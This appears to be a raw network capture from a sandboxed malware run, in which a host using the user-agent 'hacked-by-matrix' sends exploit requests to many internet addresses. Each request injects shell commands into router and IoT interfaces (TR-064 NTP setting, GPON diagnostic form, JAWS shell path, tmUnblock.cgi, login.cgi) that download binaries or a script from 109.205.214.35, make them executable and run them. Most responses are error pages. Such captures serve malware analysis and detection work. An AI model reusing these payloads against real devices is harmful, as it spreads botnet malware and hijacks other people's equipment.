Mar 21, 2024 05:18:30.229130983 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:30.525376081 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:18:30 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
902	192.168.2.13	43196	27.234.148.65	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.649240017 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:30.259813070 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
903	192.168.2.13	35578	212.27.200.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.655455112 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:28.851191998 CET	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:18:28 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>
Mar 21, 2024 05:18:29.359342098 CET	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:18:28 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
904	192.168.2.13	44770	67.205.13.132	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.849417925 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:28.958017111 CET	392	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:28 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
905	192.168.2.13	48878	221.160.14.214	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.959888935 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
906	192.168.2.13	54674	172.64.42.63	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:29.114672899 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
907	192.168.2.13	51872	18.221.254.107	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:29.254379034 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:29.847805023 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:30.548988104 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:31.925550938 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:32.027621984 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:31 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
908	192.168.2.13	56562	209.37.79.205	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:29.265417099 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:29.375091076 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:30 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
909	192.168.2.13	43126	66.216.236.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.108264923 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:30.933053017 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:31.067639112 CET	500	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Thu, 21 Mar 2024 04:18:31 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
910	192.168.2.13	60458	54.183.71.224	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.144830942 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:30.311202049 CET	499	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 305 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 30 2e 35 32 2e 31 30 32 2e 32 30 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at 10.52.102.201 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
911	192.168.2.13	46814	104.96.199.160	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.435389042 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:31.321086884 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:31.478461981 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Thu, 21 Mar 2024 04:18:31 GMT Date: Thu, 21 Mar 2024 04:18:31 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 34 32 62 32 38 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 37 31 31 26 23 34 36 3b 34 33 66 65 33 61 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.642b2817.1710994711.43fe3a8</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
912	192.168.2.13	34756	2.19.225.101	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.435468912 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
